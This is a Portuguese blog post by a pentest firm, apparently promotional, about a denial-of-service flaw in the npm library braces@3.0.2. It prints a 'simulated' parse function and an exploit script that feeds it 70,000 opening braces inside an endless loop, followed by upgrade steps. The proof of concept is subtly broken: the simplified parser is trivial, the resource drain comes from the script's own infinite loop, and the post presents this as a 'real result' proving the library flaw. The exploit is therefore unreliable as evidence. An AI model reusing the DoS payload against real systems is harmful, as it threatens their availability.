Equipe de Pesquisa FikreSekhel – Pentest e Segurança Ofensiva

Durante uma análise de segurança em um ambiente de produção de um de nossos clientes, a equipe de pesquisa de vulnerabilidades da FikreSekhel identificou a presença da biblioteca braces@3.0.2, conhecida por conter uma falha de segurança grave relacionada ao consumo excessivo de recursos da plataforma (DoS – Denial of Service).

Ao realizar testes controlados, conseguimos explorar a vulnerabilidade com sucesso, comprovando seu impacto em consumo extremo de CPU e memória, colocando em risco a disponibilidade do sistema.


Sobre a vulnerabilidade

A biblioteca braces é amplamente utilizada para realizar expansão de padrões com chaves, como {1..5}, {a,b,c}, etc. Versões anteriores à 3.0.3 não possuem limite de segurança no tamanho da entrada, o que permite que entradas maliciosas causem loops de parsing intermináveis, afetando diretamente a performance da aplicação.

Identificação

  • Pacote vulnerável: braces@3.0.2
  • Severidade: Alta (CVSS 7.5)
  • Exploração possível: Sim (PoC real)
  • Condição: Input controlado passado para braces.parse() ou libs que usam internamente (micromatch, sass, http-proxy-middleware, etc.)

Exploit desenvolvido pela FikreSekhel

Criamos um exploit simples, mas poderoso, para demonstrar o impacto direto da falha. Ele utiliza uma string maliciosa com milhares de chaves {, que gera consumo de CPU de forma contínua e abusiva:

parse.js (função vulnerável simplificada)

// parse.js — versão simulada vulnerável
module.exports = function parse(input) {
let tokens = [];
for (let i = 0; i < input.length; i++) {
let char = input[i];
tokens.push({ type: 'char', value: char });
}
return { tokens };
};

exploit.js (loop infinito de negação de serviço)

// exploit.js — DoS via loop de parsing
const parse = require('./parse');

// Payload malicioso com 70 mil chaves
const input = '{'.repeat(70000);

console.log('[*] Iniciando simulação de DoS...');

while (true) {
console.time('parse');
const result = parse(input);
console.timeEnd('parse');
console.log('[*] Tokens gerados:', result.tokens.length);
}

📈 Resultado real:

  • CPU: +60% constante
  • RAM: +90% em poucos segundos
  • Travamento ou lentidão extrema da aplicação
  • Ambiente de testes precisou ser reiniciado manualmente

Correção e prevenção

Para mitigar esse risco:

  1. Atualize imediatamente para braces@3.0.3 ou superior:
npm install braces@3.0.3 --save-exact
  1. Remova dependências antigas:
rm -rf node_modules package-lock.json
npm install
  1. Valide entradas do usuário antes de qualquer expansão de padrões.

Essa descoberta demonstra como vulnerabilidades aparentemente simples em bibliotecas populares podem ser exploradas com consequências críticas. A FikreSekhel mantém seu compromisso com a excelência em segurança ofensiva e preventiva, trazendo resultados reais e proteção robusta para nossos clientes.

Se sua empresa deseja auditar suas dependências e proteger seus sistemas contra riscos reais, entre em contato com a nossa equipe de especialistas.


FikreSekhel – Segurança Inteligente com Base Científica
Análise de vulnerabilidades | Pentest | Segurança Aplicada à Engenharia | Forense Digital

Leave a Reply

Your email address will not be published. Required fields are marked *